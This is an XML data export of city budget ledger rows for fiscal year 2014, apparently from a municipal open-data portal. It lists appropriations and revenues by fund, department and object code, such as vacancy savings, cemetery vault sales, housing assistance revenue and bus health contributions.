<row _id="7358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-33800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33800.0</total></row>
<row _id="7359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14684.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14684.0</total></row>
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<row _id="7404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>149678.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>149678.0</total></row>
<row _id="7406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579250.0</object><object_description>GEOGRAPHIC INFORMATION SYSTEM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="7407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16932.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16932.0</total></row>
<row _id="7409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17810.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17810.0</total></row>
<row _id="7410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577725.0</object><object_description>STEP UP SANCTUARY-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26282.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26282.0</total></row>
<row _id="7411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>375.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>375.0</total></row>
<row _id="7412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405351.0</object><object_description>PRIVATE HAULER ANN. PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-26636.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26636.0</total></row>
<row _id="7413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522549.0</object><object_description>ADVERTISING PAYMENTS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>110250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110250.0</total></row>
<row _id="7414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="7415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="7416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8576.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8576.0</total></row>
<row _id="7417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14441.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14441.0</total></row>
<row _id="7418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1452.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1452.0</total></row>
<row _id="7419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="7420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5405.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5405.0</total></row>
<row _id="7421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>264.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>264.0</total></row>
<row _id="7422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2415.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2415.0</total></row>
<row _id="7423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402790.0</object><object_description>VAULT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-63776.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-63776.0</total></row>
<row _id="7424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556130.0</object><object_description>SOLD CASKETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52000.0</total></row>
<row _id="7425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556160.0</object><object_description>SOLD URNS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8713.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8713.0</total></row>
<row _id="7426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1493.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1493.0</total></row>
<row _id="7427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99145.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99145.0</total></row>
<row _id="7428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="7429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="7430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="7431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577540.0</object><object_description>FARMERS' MKT SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29623.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29623.0</total></row>
<row _id="7432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>55666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55666.0</total></row>
<row _id="7433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>862058.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>862058.0</total></row>
<row _id="7434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-309861.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-309861.0</total></row>
<row _id="7435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-34068.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34068.0</total></row>
<row _id="7436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-65286.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-65286.0</total></row>
<row _id="7438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-300000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="7439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>176323.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>176323.0</total></row>
<row _id="7440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="7442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18372.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18372.0</total></row>
<row _id="7443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>722.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>722.0</total></row>
<row _id="7444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5878.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5878.0</total></row>
<row _id="7445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-34919.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34919.0</total></row>
<row _id="7446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-231483.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-231483.0</total></row>
<row _id="7447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544460.0</object><object_description>HOMELESS COUNT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4121.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4121.0</total></row>
<row _id="7448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-86408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-86408.0</total></row>
